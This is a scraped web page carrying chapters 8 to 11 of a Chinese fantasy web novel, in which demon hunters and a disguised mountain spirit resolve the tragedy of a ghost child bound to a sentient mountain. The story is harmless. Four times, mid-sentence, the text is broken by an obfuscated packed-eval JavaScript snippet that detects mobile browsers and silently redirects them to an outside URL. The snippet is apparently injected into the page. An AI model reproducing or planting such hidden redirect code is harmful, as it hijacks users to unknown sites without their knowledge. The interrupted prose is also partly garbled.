;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717018|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手,一层淡淡的霜气在他们周围围绕,形成了一堵摇摇欲坠的墙,勉强隔绝了一些热气。
“死到临头,还在嘴硬。”
“那要看看是你这摊泥硬,还是我的剑硬。”
寒气乍起,大鼎结了一层厚厚的冰。
裴玄手撑烂泥,一个翻身竟脱身跳出,与此同时,青风剑出鞘,剑气凛然,寒光逼人,直直刺向大鼎。
刺耳的碰撞声后,青风剑刺破大鼎直入烂泥之中,裴玄继续运力,剑锋挑起烂泥,烂泥明明身无定形,此刻却动弹不得,不能化身而逃,随着剑气被牢牢钉在石壁之上。
局势就这么扭转了?沈惊澜不敢相信自己的眼睛,抬抬手,抬抬脚,都完好无损,灼热感消失,身上只残留了一点烂泥点子,弄脏了她浅青色的裙子。
“裴大哥,”沈惊澜彻底懵了,“你既然恢复了法力,为何不早说?”
裴玄有点不好意思:“刚恢复的,吃饭的时候我就觉得他们太过热心,留了个心眼。这药劲不猛,我一直在运力破解,所以药效很快就没了。”
亏她还在绞尽脑汁想办法,原来想再多,不如绝对的硬实力有用。
不愧是男主,总是能在关键时候发挥出逆天的实力,拯救众人于危难。如此,显得跟他打配合的卫昭明失色了许多。
泥魃见烂泥吃瘪,气急败坏,呲着獠牙,手脚并用向四人扑来。
沈惊澜连忙躲到后面,只见裴玄张开右手,青风剑如有感应,“嗖”地飞入手中,他几步上前,挥剑直指泥魃喉咙,泥魃仰头斜身,躲过一剑,踹向裴玄肩部,裴玄不躲,抓住泥魃的腿将他吊起,秦秋趁机挥动流英锤砸向头顶石壁。
妖海突然从鼎的位置灌入,裴玄护阵,秦秋继续砸,许是法力没有完全恢复,眼看海水上涌马上药重蹈白日惨状,石壁才终于被砸开一个口子。
这就获救了?
被秦秋带上来的时候,沈惊澜还处于发懵的状态。
一切都发生得太快,几招之间裴玄就拿下了泥魃,几锤子秦秋就砸开了石壁,那这短短一天她受的这些磨难算什么?
算她命苦?
沈惊澜欲哭无泪。
泥魃被裴玄揪了上来,用软银索捆得结结实实。受了重伤的烂泥附在泥魃身上,变成一副盔甲。
“你们都是附近的村民?”裴玄望向四周,百十号身着朴素的凡人手持火把,将这里团团围住。
为首的,正是给他们下药的那对夫妇。
“放开山神!放开山神!”
秦秋愤然道:“你们瞧清楚,此妖作恶多端,杀人无数,是妖孽,不是山神!”
“放开山神!放开山神!”
村民和会说话的妖怪一齐大喊,喊声在夜色中呼啸,宛若无尽的海浪,漫无目的地一遍一遍拍向沙滩,回荡在只有夜色回应的天地。
沈惊澜从未见过这样疯魔的人,与妖怪一起捍卫他们杀人如麻的的“山神”,难道仅仅是为了那一点碎金,就可以视同胞的命如草芥?“疯了,彻底疯了。”
沈惊澜青筋暴起,涨红了脸,“你们可知它杀了多少人!那可都是跟你们一样,活生生的人!”
妇人反驳道:“他们该死!闯入山神的领地,觊觎山神的宝藏,贪婪之人,该死!”
“山神慈爱,包容我们,我们要捍卫山神!”
“捍卫山神!”
8. 第 8 章
船山无声。
山脚山腰皆有村落,世世代代,农耕劳作。
山给了他们土地、猎物、果实,他们给予山人气、兴旺。
借此,船山得道,修炼成妖。
船山很慈爱,它爱山里的一草一木、一虫一兽,也爱生活在它身体里的每一个村民。
百余年来,大家相安无事,偶尔有一两个调皮的妖怪捣乱,船山稍作惩戒,罚它在水里泡两天,它便不敢再作乱。
直到有一天,山里来了个小娃娃。
…………
“它是泥魃,海里的妖怪,专吃人魂以养自己,你们不要被它的小恩小惠蛊惑了。”秦秋收起流英锤,放缓语调,以期缓解剑拔弩张的局面,“妖海之中,冤死之人化身青面银鱼,吸人精气,不计其数。”
“他们不过是路过此山,何错之有?”
妇人置若罔闻:“山神自有判断。”
“冥顽不化,”裴玄剑指泥魃,这个赤色小儿来到地面后便泄了气,身体缩水变得干巴巴,明明小儿的身子,看起来却如同枯槁的老人,“师妹,不必多言,待我杀了此妖,此山自会太平。”
裴玄举剑,青风剑鸣。
忽起一阵山风。
不算猛烈,更准确地说十分温柔,山中的一草一木、一花一树皆被吹得弯了腰,弯向他们的方向,一颤、一颤。
整座山,仿佛在乞求。
沈惊澜摊开掌心,感受风从掌中拂过,心里一股莫名的伤感。
船山在难过,它在乞求。
脚下的妖海在翻涌,海浪的声音从四面八方传来,在初春的夜晚,如泣如诉。
船山也属于山都,只不过以山的形态存在,沈惊澜能感受到它在哀求,求他们放过它的同伴。
“村长来了!”人群中有个人喊了一声,村民们听到这个称呼,自觉地为他让出一条路。
田来搀扶着一个耄耋之年的老人,慢慢走到人前。
老人头发全白,眉须遮住了眼睛,垂到地面,编成了两股麻花辫。他腰背佝偻,颤颤巍巍向四人行了个礼。
“大家先回家吧,我与四位少侠单独聊聊。”
大家犹豫片刻,但还是很听话地散去了。
裴玄皱眉:“你很有威望,可惜你是妖。”
“你们几位,是除妖师吧?”老人并不害怕,不紧不慢道,“我本是山里一枯木,大家看重我,尊我一声村长。”
他深深鞠躬:“请各位放过泥魃吧。”
“泥魃作恶,难道你就能摘得干净吗?”
老人长叹一声,泥魃小小的眼睛滴溜溜望着他,它的眼神很简单,一眼便能看出它心里所想,高兴、讨厌、生气,它只有一点简单的情绪,一如他刚来时那样。“泥魃刚来时,不过是个普通的两岁小儿,说话都说不利索。”
四人一怔,他们没想到泥魃的原身竟是人。
那时船山刚化妖不久,它喜欢山里人来人往,喜欢人留在泥土的脚印,喜欢他们在树荫下高歌。
直到有一天,两个男人带着一个两岁大的娃娃闯进了山里。
娃娃很瘦,衣服单薄,浑身脏兮兮的,伤疤青一道红一道没有一块好皮肤,坐在竹篓里,不哭不闹,睁着一双漆黑水汪汪的大眼睛,怯怯地把自己缩成小小的一团。
他已经几天没吃饭了,饿得眼冒金星也不敢哭,眼巴巴看着两个男人掏出两块饼,不自觉地流了口水。
“娘的,这孩子咋还就卖不出去了呢!”
“要不给他点饭吃?万一他饿死了……”
“给个屁!再给他吃咱要亏死了。”
“人家都说他八字不吉利,哎,咱也是上当了。”
“要不就把他扔这破山里得了……”
船山喜爱人类,但它讨厌这两个人。
“当时船山发怒,命令烂泥将这两人拖入地底妖海,等回头救这个小娃娃时,小娃娃已经饿死了。”
老人慢慢踱到泥魃面前,伸出枯木一般的手,抚上他已经干枯布满褶皱的脑袋:“他的怨气极重,留在人间不肯离去,无法转生,船山心软,把他化为鬼妖泥魃,养在自己身体里的妖海中。”
泥魃蹭了蹭老人的掌心,与寻求父母爱抚的小孩无异。
“阿、狗,”他说话不太利索,又说了一遍,“阿、狗。”
老人拍拍他的脑袋,露出慈祥的笑容:“对,阿狗,你是阿狗。”
他没有正经的名字,亲生父母叫他阿狗。
可以随意丢弃,没名没姓的阿猫阿狗。
“那他为何……”秦秋声音中多了一丝颤抖。
“为何杀人成性?还要把人炼成金?”
老人怅然道:“因为他恨。”
“除了船山的人,其他人,他恨,尤其恨爱财的人,因为他爹娘就是这么把他抛弃的。”
只要捡了金子,他就让船山把人拖入妖海,任他啃食;若侥幸逃过一劫,便让村里的村民设下陷阱,把他们炼成金子。
哪怕只是好奇的、无辜的路人,也未能幸免。
“但他很喜欢船山的人,他喜欢跟山里的孩子捉迷藏,喜欢坐在扎根妖海的树根上,喜欢让船山拖着他,摇着海浪晃来晃去,像个孩子。”
船山溺爱他,纵容他,像养育自己的孩子一样养育他,想杀谁便杀谁,想要炼金便让烂泥为了铸了一个大鼎。
船山无声,山风不止。
这里的草木虫兽都在向他们求情。
四人一时无言。
沈惊澜不放心,回头望了眼卫昭明,果然,已经半死不活地摇摇欲坠了。
真是棘手。这件事再不赶紧有个结果,他估计要成个废人了。
裴玄开口:“阿狗固然可怜,可泥魃伤人亦是事实,更何况鬼妖与其他妖不同,鬼妖死后恢复死人身,一日之内身形聚散,灰飞烟灭,无法转世不能投胎,你们难道想让他永远被怨气所困,不得解脱吗?”
老人低下了头,颓然道:“我们没有办法。”
“求求你们,放他一条生路,哪怕废掉他的妖力,我们看着他,不让他再害人。”
地面在微微震颤。
草木有情人无情。
秦秋哽咽:“你们若早早管束,他何至于作恶至此?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717019|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他化妖时只有两岁,没有善恶的分别,没人教他。
老人苦笑:“是啊,可是现在说什么都已经晚了。”
“你们两位法力高强,若是执意要杀他我当然拦不住,”老人话锋一转,“但是船山会保护他,历任妖王十之八九皆为山都,山都的力量强大,即使船山不如沈惊澜之辈,但也够各位吃吃苦头。”
他在威胁。
裴玄正色道:“我们既是除妖师,便早就做好跟妖怪一决生死的觉悟,便是沈惊澜出现,我们也绝不会向妖低头。”
沈惊澜打了个喷嚏。
“可是阿狗,不应该是那么惨的下场。”裴玄接着道。
裴玄为阿狗解开软银索,青风剑在他额头划下一道剑印:“这是封妖印,可暂时封住他的妖力。”
阿狗倒在烂泥身上,目不转睛地盯着裴玄,不知道在想什么。离开妖海的他早已变得虚弱不堪,没了先前的嚣张,更显得像个普通小孩。
“普通的妖可以废其妖力,但鬼妖不行,鬼妖依妖力而生,若废妖力,便会成为死人。”
老人目光微滞,白眉下的眼眸蓄满了泪水。不仅是船山,山里的这些老妖都把他当作自己的孩子,阿狗对外来的人心狠手辣,对船山的人和妖,就像普通的小娃娃,会哭会闹,会调皮会撒娇。
他记得今年春天船山开出第一朵花时,阿狗骑着烂泥从妖海钻出,蹦到大树的枝头采下花来,调皮地插在他浓密的白须里,对着他“咯咯”笑。
阿狗在妖海与地面之间来回穿梭,不知疲惫,只知这里是他的家。
可他毕竟害了那么多人,千千万万条青面银鱼供养着他,千千万万个活生生的人成为妖怪无法转世。
船山充满生机与欢愉的地上世界下,地底的深处,是无数的冤魂。
老人哽咽:“他必死无疑了,对吗?”
裴玄点点头,别过目光,不忍看地上的小红孩儿:“有个办法可以帮他转世,可是要付出很大的代价。”
老人的眼睛里有了光亮:“什么代价?”
“你可听过转生阵?”
老人不解。
“化去其妖气,恢复其死人身,以人或妖为祭,助其转生。”
裴玄顿了下,继续道:“需要其至亲,或者大妖。”
这里的大妖,除了没有法力的沈惊澜,便是脚下的船山。
转生,意味着他不再属于船山,彻底死去,意味着来世的他可能为人,也可能是牲畜;可能一生平安顺遂,也可能受尽苦难折磨。
妖海翻腾。沈惊澜闭上眼睛,空气不易察觉地变得更加潮湿,带着一点点咸味,附着在弯了腰的草木上,在无人在意的角落落下几滴水滴。
船山在哭泣。沈惊澜知道,它同意了。
老人沉默片刻,“船山同意了。”
接着道:“但是山里还有许多人家,请各位给我一点时间,我先说服他们让他们离开,保证他们安全后再请各位施法。”
裴玄颔首:“这是自然,若村民同意,我们会保村民安全。”
船山,一直很爱它的孩子。
9. 第 9 章
五更天了,沈惊澜毫无睡意。
老人去说服村民,泥魃的事情大概率有了结局。
但她依然思绪纷乱。短短一天,发生了太多的事情,她没有时间好好消化,思考下一步该怎么做。
一切都是被推着往前走,她没有选择的余地。
船山篇是《志怪录》第一单元,作为引入篇幅比较短,但却关系到人物的关系和后面剧情的走向。
目前为止,主线剧情走得还算顺利,但主任务完成度依旧是0。
这么短的时间里遇到这么多的危险,她根本没有机会撮合裴玄和秦秋。
沈惊澜感到一种紧迫感。
屋子早被他们撞烂,没了顶,一睁眼便能看到星空。沈惊澜索性坐起来看星星。
不知道卫昭明怎么样了。老人一走他就支撑不住倒下了,整个人冷得不像话,她都不敢靠近他。
在关键的时候,女二男二终究只是配角,高光都是主角的,配角甚至无法自保。
这种人为刀俎我为鱼肉的感觉太不好,沈惊澜突然有些明白原著的女主为何执着于成为新的妖王。
因为她别无选择。
她也突然明白这里根本不需要什么职场pua和什么所谓的话术,因为实力就是一切,只有像她这样的弱小的存在,才需要一些可笑的话术来暂时保全自己。没有法术的凡人,法力微弱的妖,除妖术不精的除妖师最终都是一个下场。
她起身离开房间,找到一棵桃树,靠着树坐下,纤长的手指抚过桃树粗糙的树皮,指腹痒痒的,细微的感觉在静谧的夜晚放大,她能感受到树根附着下的土地在难过。
“船山?”
树叶沙沙作响,是船山在回应她。
“我能感觉到你,”沈惊澜垂眸,“为何要为了泥魃献祭自己?以你的力量,本可以重伤我们保住阿狗。”
船山呜咽,化为呼啸的风。
沈惊澜明白它的意思:“你在赎罪。因为你纵容了他,害死了许多人,你在为他赎罪。你后悔了。”
你是沈惊澜。船山突然道。
沈惊澜蓦地收回手,警觉地起身:“你是如何发现的?”
身无法术,却能感知山之万物,从山中获取能量,必是强大的山都。我听说沈惊澜正在被少鹰追杀,想来你必是被少鹰所害才落魄至此。
沈惊澜苦笑。
五十年前,少鹰来过这里,他强行入妖海,卷走不少银鱼怪,而后力量大增,成为新一任妖王。
“可是光凭银鱼怪,不会有这么大的作用吧?否则阿狗实力应当在裴玄之上。”
这就是古怪的地方,沈惊澜,小心少鹰。
“为何要告诉我这些?”
因为你放过了田来。
原来如此。若她当时没有放过田来,恐怕船山现在也不会放过他们。沈惊澜轻声道:“多谢。”
桃树温柔地颤动枝桠,抖落桃花纷纷,粉嫩几乎透明的花瓣落在她的肩头,为她染上了点点花香。
这是船山在同她告别。天下名山众多,加上不知名的小山更是不计其数,但是能修炼成山都的少之又少。他们都是山,萍水相逢,也有惺惺相惜之感。
东方吐白,一夜未眠,沈惊澜揉了揉酸胀的眼睛,深吸一口气,尽是清冽的晨气与花香。她张开双臂,隔空给船山一个拥抱。
昨日历生死,今朝作旧友。
她有力气继续向前了。她头也不回地回到屋内,卫昭明在裴玄秦秋的帮助下已经暂时无虞,不至于伤及根基。
“秦姐姐,你和裴大哥赶紧去歇着吧,你们还要给阿狗设阵,卫公子这边有我来看照他。”
她能从山吸取能量,熬个大夜也能很快恢复。
首先要尽可能多的让两人单独相处。其次,还没想好。
秦秋道:“无妨,我和师兄是修习之人,这点累算不上什么,倒是阿兰姑娘今日连连受惊,需要好好休息。”
她在怀疑自己。虽然是关心的话,但是沈惊澜听出了其中的警惕。他们只是心善,并不是傻子,正常人像她这样先被青面银鱼所伤,再受卫昭明的寒气还被妖火炙烤,就算不死也没了半条命,而她却像个没事人一样,甚至还有精力照顾卫昭明。
沈惊澜垂眸,黛眉微蹙,轻叹:“阿兰不放心卫公子,虽然体力不支,但也想守在卫公子身旁。”
秦秋瞥了一眼她的脚,挑眉:“这个时候,阿兰姑娘还有闲情去赏花?”
沈惊澜顺着她的目光看去,进屋之前她特意拂去了身上的花瓣,没想到鞋子沾上了花瓣和点点泥土。
她从袖中拿出一朵桃花,放到秦秋面前:“我知道秦姐姐和裴大哥怀疑我,其实阿兰也十分不解。”
“方才受到一股力量指引到了一棵桃树下,这朵花是船山给我的。”
“其实一进船山,阿兰就能感觉自己似乎与这座山有特别的联系,”她把桃花捧在手心,白里透红的掌心衬得桃花愈发娇嫩,“直到刚才我才明白,是因为我常年在莽山,船山感受到莽山的气息,所以对我特别关照。”
“阿兰自小与山有缘,时常能通山语,所以船山才会帮我恢复身体。”
沈惊澜把花递给秦秋:“秦姐姐若不信,大可拿着这花去问村长。”
她说得恳切,但漏洞百出。沈惊澜说完不再辩驳,只静静地看着二人,不躲不闪,伸着手,等秦秋接桃花。
秦秋和裴玄有些犹豫,一时无法判断她说的是真是假。
三人僵持住,直到卫昭明咳了两声,打破尴尬的气氛。
“师兄师姐……”卫昭明声音沙哑,说几个字便要停下来休息一下,“你们先去歇着吧,我不要紧。”
裴玄正色道:“第九日尚未过去,你只管好好休养,其余的我和阿秋会处理好。”
然后转向沈惊澜:“阿兰姑娘,此事我会和阿秋查清楚,你若是敌人,我们绝不会手下留情。”
沈惊澜心一颤,维持着面上的镇定:“自然。”
裴玄知道卫昭明有话要单独对她说,便与秦秋换了个眼神准备离开。
“秦姐姐,”没想到沈惊澜叫住她,“先前看你抡大锤的时候被石头砸伤了手腕,可千万要小心。”
给她递桃花的时候沈惊澜瞧见了秦秋右手藏在袖中,隐隐有血迹。她这话对着秦秋说的,目光却在裴玄身上:“裴大哥,秦姐姐不说,是怕你担心呢。”
裴玄一怔,秦秋把右手背在身后左手拉着他三步并作两步离开房间,脚步慌乱。
晨光熹微,从破烂不堪的草屋缝隙照入,苍白而清冷。
初春的清晨寒意不减,卫昭明裹了一床厚厚的被子,面色依旧苍白。
“你想说什么?”沈惊澜收起虚伪的面容。
他从被子里伸出手,拍拍床边,有气无力道:“你来。”
沈惊澜谨慎地后退一步:“有什么直说,我可不想被你毁了清誉。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717020|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卫昭明冷笑一声:“你不是心悦于我吗?还怕被我毁了清誉?”
“两码事。有事说事,没事告辞。”她好像忘了自己是来照顾他的。
晨光斜映在卫昭明的脸庞,在他的眉骨投下一层暗影,遮住一半眼眸,让沈惊澜看不清他的表情。
“我做了一个梦。”他突然道。
沈惊澜打趣:“你不会梦到我了吧?”
他摇摇头:“我梦到了沈惊澜。”
沈惊澜后背发凉,不会这么快就掉马甲了吧?
她装作无害的样子,弯起眼睛:“怎么?你被她下毒害怕了?”
卫昭明没有理她的打趣,继续道:“沈惊澜高三丈,通体青绿,遍布青苔,头生一朵野花,面似凡人,难辨雌雄。”
沈惊澜嘴角微微抽动:原来她的本体这么“特别”。
“然后呢?”
卫昭明看向她,暗影中的眼眸闪着锐利的光:“我想起来,它身上的味道也是淡淡的青草味。”
也是。沈惊澜刚要抬手闻自己身上的味道,淡淡的桃花香让她猛然惊醒。
他在试探。一般人不会留意自己的体味,若她确认自己身上的味道,就暴露出她就是沈惊澜。
一口气憋在胸口,沈惊澜握紧拳头,后背出了一层薄汗。差点,差点她就有所动作。
她强压下心脏咚咚直跳的心慌,维持着面上的淡然,装作不解的样子:“还有谁是身上有青草香?”
“你。”
他的眼眸中有杀意。
“【卫昭明好感度】:0。”
系统不合时宜地出现。
沈惊澜有点崩溃,这个人感情起伏怎么这么大?怎么一天之内变换这么多次?还能直接从50%到0?
心里的怨气太大,沈惊澜没控制住自己脱口而出:“卫昭明你是个正常人吗?有你这样变化无常的吗?你要是怀疑我你就把秦姐姐他们一起叫来我们对峙一下,你要是对我无情就别让人误会,我这就去把他们叫来,我们当面说个明白。”
她在赌,赌前面卫昭明对她50%的好感是真的。
其实结合卫昭明的原生家庭,沈惊澜大致能猜到为什么卫昭明要单独跟她说这些。
这个锦绣城的少主表面上嘴毒心狠,实则最是“色厉内荏”,只要稍稍对他好,他便会把这一点点好记在心里。
他不愿意在裴秦二人面前提起此事,就是怕万一误会了沈惊澜而对她造成困扰,所以他先自己试探。
“等等。”
果然,沈惊澜刚迈出一步,就被他叫住。
她没有回头,声音淡漠:“卫昭明,我猜不透你,也不想猜,你若到底还是疑我,我离开便是了。”
“经泥魃一事,你也应当看出其实我还是很厉害的,自己去莽山也可以的。”
卫昭明立刻道:“不可。”
沈惊澜听出他声音中的急切,还有一丝茫然。她有些内疚,用一些她自己都觉得恶心的话术而让卫昭明愧疚真是一件很不厚道的事,可她不得不欺骗与利用。
为了活着,没有办法。
“阿兰姑娘,方才,是我唐突了。”
他竟然对她道歉了。沈惊澜一点也不觉得放松,反而心情很糟糕。她想快点逃离这里。
“几位少侠!”外面传来吵嚷声。
沈惊澜松了一口气。
老人在外面喊道:“村民皆已知晓,很快就会撤离,今晚便可设阵!”
10. 第 10 章
一轮新月高悬,满山春风无情。
船山顶,阿狗坐在村民给他的红色小垫子上,烂泥把他团团围住,给他一点点水分,不至于太过干枯。
村长听从船山的意思,对裴玄和秦秋道:“两位少侠,船山已准备好,请开始吧。”
阿狗不知道村长是什么意思,冲着他不停地挥手,发出“啊——”“啊——”的叫声,十分不安。
村长背过身,不忍看他,声音哽咽:“阿狗别怕,马上就有新的家了。”
裴玄主阵,秦秋互阵,青风剑出鞘,直插云霄。
“请离阵!”裴玄对烂泥道。
烂泥乖乖挪开,化身一个小小的人形,与阿狗遥遥相望。
“死生催,轮回迫!”裴玄高声道。
“天年限,终久落轮回。鬼使早相催!”
山风骤起,阿狗四周青光乍现,妖海从地底迸发,在他周围形成参天的水柱,将他包围其中。
万妖怒吼,青面银鱼在妖海中翻腾,张牙舞爪想要挣脱海水的束缚。
地动山摇,百树摧折,暗月无光。天地之间弥漫着妖海的咸腥,升腾的水汽将夜幕笼罩。不断地有巨石滚落,整座山在一点点肢解。
沈惊澜与卫昭明躲在阵外不远处,船山为他们留了一处安全的地方。
妖气盛起,汇成青烟,凝成一个数丈高的老者形象,柳树是胡须,桃花作头冠,面似凡人,满脸皱纹,咧开嘴,对着阵眼的阿狗笑。
它在阵外游走飘荡,被阿狗慢慢吸收。
身形越来越模糊,一直到最后分辨不出它的模样。
“阵成!”
风一吹,青烟消散。
一刹那漫山草木枯黄,万物凋敝,天地失色,无数的青面银鱼挣脱妖海的束缚,化作千万缕青烟,滔天的怨气裹挟船山最后一丝气息,冲向云端,尽归于黑夜。
妖海散尽,水汽蒸腾,再凝固为雨滴,滴滴答答下了一场海雨。
阵眼中的阿狗退去了一身赤红,泛青的皮肤,瘦小的身躯,瑟缩成一团,紧闭着眼睛,一如他死前的模样。
裴玄收剑,对村长道:“阿狗的怨气皆已化尽。”
“在最后的关头,船山还为无辜惨死的人化去怨气,借阵助他们转生。”
也算是为阿狗赎罪了。
村长抹了把泪,短短一晚,他看起来苍老了许多。“种如是因,收如是果。多谢二位放阿狗一条生路。”
船山?沈惊澜唤它。
没有回应,船山已经离去。
袖中的桃花隐隐发烫,沈惊澜取出桃花,娇粉的花瓣萦绕着微弱的光。桃花从她掌心飘起,缓缓飘到额前,在空中打了个旋儿后飞入沈惊澜的眉心,印出一个淡粉色的桃花印记。
沈惊澜不解地看向村长:“船山这是做什么?”
村长道:“姑娘,你与船山有缘,它把最后一丝山都之气留给了你,日后所有危险,可多一份自保之力。”
沈惊澜愣住:船山竟完全知道她心中所想,山都之间的羁绊比她想的还要深。
她低声道:“如此,多谢了。”
村长为阿狗准备了一份棺椁,他们在一棵百年的大树下挖好坑,就此埋葬阿狗。
坟前一块枯木墓碑,是村长用自己本体的一部分所筑。
无名无姓,只有两个字“阿狗”。
“诸位请尽快离开吧,”村长怅然道,“船山既陨,很快就会坍塌,万水千万,保重。”
“保重!”
一日已过,卫昭明身上的毒暂时压制住,他们不再耽搁,此去莽山路远,得尽快赶路。
船山已经是一座死山,沈惊澜无法吸收船山的能量,困得哈欠连天,脚步虚浮,摇摇晃晃地跟在三人身后。
船山虽死,妖未尽散,子夜时分妖气甚浓,沈惊澜精神不振,迷迷糊糊之中一个趔趄,差点摔倒。
“你怎么困成这样?”卫昭明一把扶住她,他身体已经恢复了一些,只是身上还有寒气。
沈惊澜被寒气冷的打了个颤,一下子清醒过来:“这两日太累,我一个普通女子自然受不住。”
浮光剑出,指向沈惊澜的眉心。
“你这又是要干嘛?!”卫昭明不知道又发什么神经,沈惊澜没好气的白了他一眼。
“出来。”卫昭明剑眉紧蹙,厉声喝道。
走在前面的裴玄和秦秋听到动静停下脚步。
回头的瞬间,一道黑影从沈惊澜身上窜出,化身利剑冲向裴玄。
沈惊澜惊呼:“小心!”
“师兄!”
卫昭明一个箭步冲出去,沈惊澜来不及思考一把拉住他,利剑从她肩头擦过,速度未减分毫,在裴玄拔出青风剑之前,一个白色的身影扑到他面前。
“阿秋!”
“师姐!”
流英锤先一步护在身前,利剑陡然变幻形状,绕开锤子,刺向秦秋胸口。
青风剑来迟一步,斩断黑色的利剑,一缕白烟从断面升起,黑剑化为一滩烂泥。
“阿秋,你怎么样了?”裴玄为秦秋封住穴位止血,伤口处萦绕着妖气久久不散,这是烂泥的全力一击。
秦秋脸色苍白,宽慰一笑:“小伤,无妨。”
裴玄剑指烂泥,怒道:“你这么做又是为何?”
方才他趁妖气盛的时候附身在沈惊澜身上,裴玄秦秋为阿狗设阵耗了不少修为,所以没有马上察觉,它一路跟来,就是要给裴玄致命一击。
烂泥只剩最后一口气,断断续续道:“我要为……阿狗,报仇!”
说完便没了气息,彻底成为一滩普普通通的烂泥。
沈惊澜轻叹,烂泥是个纯粹的妖,它不觉得阿狗有什么不对,反而是他们这些外来人破坏了他们原来平静的生活。
“【系统提示】恭喜你完成第一单元船山藏剧情,主线剧情已完成15%。”
“【系统提示】主任务进度依旧为0,请予以关注。”
天快亮了。
船山的故事彻底结束。沈惊澜揉了揉发胀的太阳穴,为秦秋和裴玄的事发愁。
“师姐,要不要停下来休息一下,我这里还有好多丹药,这个,”卫昭明从怀里掏出一个小香囊,香囊里有粒带花香的小药丸,“这个治疗附着妖气的伤口十分有效。”
秦秋笑着摇了摇头,把药丸推回:“不必这么小心,小伤而已,你们都别担心了。”
“船山将覆,我们还是赶紧赶路吧。”
说完,秦秋一阵晕眩,倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717021|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在裴玄怀中。
她还是低估了烂泥的决心和护阵的损耗。
沈惊澜眼睛一亮:有戏。
山体开始晃动,他们耽搁不起,裴玄背起秦秋就往山下跑,好在离山脚已经不远,前脚刚出船山,后脚整座山坍塌,轰隆隆震天的响声似春日惊雷,烟尘四起,无数巨石翻滚,他们不敢停歇,只顾闷头往前跑。
跑了不知多久,四下复归安静,几人才停下脚步,回首望去,已不见船的形状。
船山塌了,又形成一座新的山。若干年后,这里会发出新的芽,长出新的树,沧海桑田,不会有人再记得这里原来有座船山。
裴玄赶紧为秦秋疗伤。
“走了,走了,”见卫昭明不肯走,沈惊澜有些头疼,拉着他离开,“你留下来不就打扰到他们二人独处了吗?”
没走几步,见裴玄注意不到他们,卫昭明停下脚步,甩开沈惊澜的手。
“怎么?你还怕我占你便宜?”沈惊澜莫名其妙道。
卫昭明沉着脸:“方才我要救师兄,你为何要拉住我?”
沈惊澜道:“你不怕死啊?”
“区区烂泥,杀不死我。”
“那它也杀不了你师姐啊,”沈惊澜认真跟他分析道,“你想想,当时的情况秦姐姐离裴大哥更近,救他不是更方便吗?”
“你救他,是师弟救师兄,而秦姐姐救他,那就不一样了。”
卫昭明恍然大悟:“美人救英雄!”
沈惊澜满意地点点头:“孺子可教也。”
“下一步,你可知该怎么做?”
卫昭明摇摇头,乖巧得像个小狗。
“我看秦姐姐对裴大哥是有意的,只是裴大哥像块木头一样,还没开窍。下一步,秦姐姐受伤需要日常照料,我们都不要插手,裴大哥一人照料,这你一来我一往中,不就渐渐生情了吗?”
卫昭明看她眼神变得奇怪:“这种事,你为何如此了解?”
沈惊澜眼睛弯弯,明媚一笑:“我说了莽山有很多青年才俊喜欢我。”
“所以你很擅长玩弄别人的感情?”卫昭明收起乖巧小狗形态,变得极具攻击性。
就知道这人好不过一秒。
沈惊澜垮起脸,打了个哈欠,“嘁,懒得理你,我要睡觉。”
不知是不是错觉,方才卫昭明眼中好像划过一丝失落。
沈惊澜自顾自找到一块大石头靠着躺下,刚才跟着裴玄狂奔,把命都豁出去了才不至于被甩得太远,此刻浑身散了架似的,再多跑一步就要猝死。
“这个给你。”
“嗯?”一躺下沈惊澜浑身就松了劲儿,困意袭来,眼皮直打架,懒得睁开眼看他递来的东西。
“你被烂泥附身,伤口还有残留的妖气,服用百花丹才好得快些。”
原来是那个丹药。沈惊澜半睡半醒点点头,意识模糊下,下意识张开了嘴。
卫昭明僵在原地,手里的药给她也不是,收回也不是。这样的举动太过暧昧,情窦未开的他招架不住。
“你不要太得寸进尺。”
“哦……”沈惊澜应了一声,彻底睡死过去。
是夜,卫昭明远远坐在风口处,背对着她,望着手中的药丸愣神了一整晚。
11. 第 11 章
万州郊外深林。
